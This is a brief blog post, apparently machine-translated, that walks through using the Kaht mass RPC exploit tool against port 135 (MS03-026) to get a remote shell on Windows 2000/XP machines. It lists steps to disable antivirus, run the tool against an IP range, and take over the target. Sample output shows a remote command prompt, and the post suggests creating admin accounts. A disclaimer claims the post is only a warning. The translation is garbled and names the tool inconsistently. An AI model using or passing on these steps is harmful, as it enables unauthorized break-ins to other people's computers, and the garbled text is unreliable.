This article is not intended to teach the reader to do evil in a way to break someone else's computer password, but just to remind you, especially for a network administrator or computer users who connect to the network to be careful and be vigilant that the password / your computer is easy on the breaking and taken over by others.
This time the writer uses the method explosits port 135 (DCOMRPC) where the issue since Welcia K W32 virus that attacks the port 135, which in this case, approved by the microsoft (See Microsoft Security Bulletin MS03-026). target of this worm is using the pc IIS 5.0 as windows 2000 / XP.

To shorten how do we break the password on the windows we use kabt Tools can be downloaded here.
Because this process uses worms you should disable your antivirus.
Steps:
1. Unzip the file Kaht.zip
2. Place in a directory you like.
3. Log in to the directory where the files are via text mode
4. Set goals that will be pc hacking missal
IP: 192.168.30.3
Kabt 192.168.30.1 192.168.30.3
If you are successful hacking will appear on the command line roughly follows:



Kabt II - Massive RPC Exploit ff

[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads
[+] Attacking Port: 135. Remote Shell at port: 36,388
[+] Scan In Progress ......
- Connecting to 192.168.30.3
Sending Exploit to a [Win2k] Server
- Connectando con la Shell Remote
etc. ........
C: WINNTsystem32>

Means that you have entered into your computer and hack your computer has fully mastered. you can make the user admin to make sharing, etc.
Once again this article just reminded you berhatihatilah in managing your computer network primarily Webmaster.

source: http://genduty.blogspot.com/2009/12/how-to-break-into-windows-password.html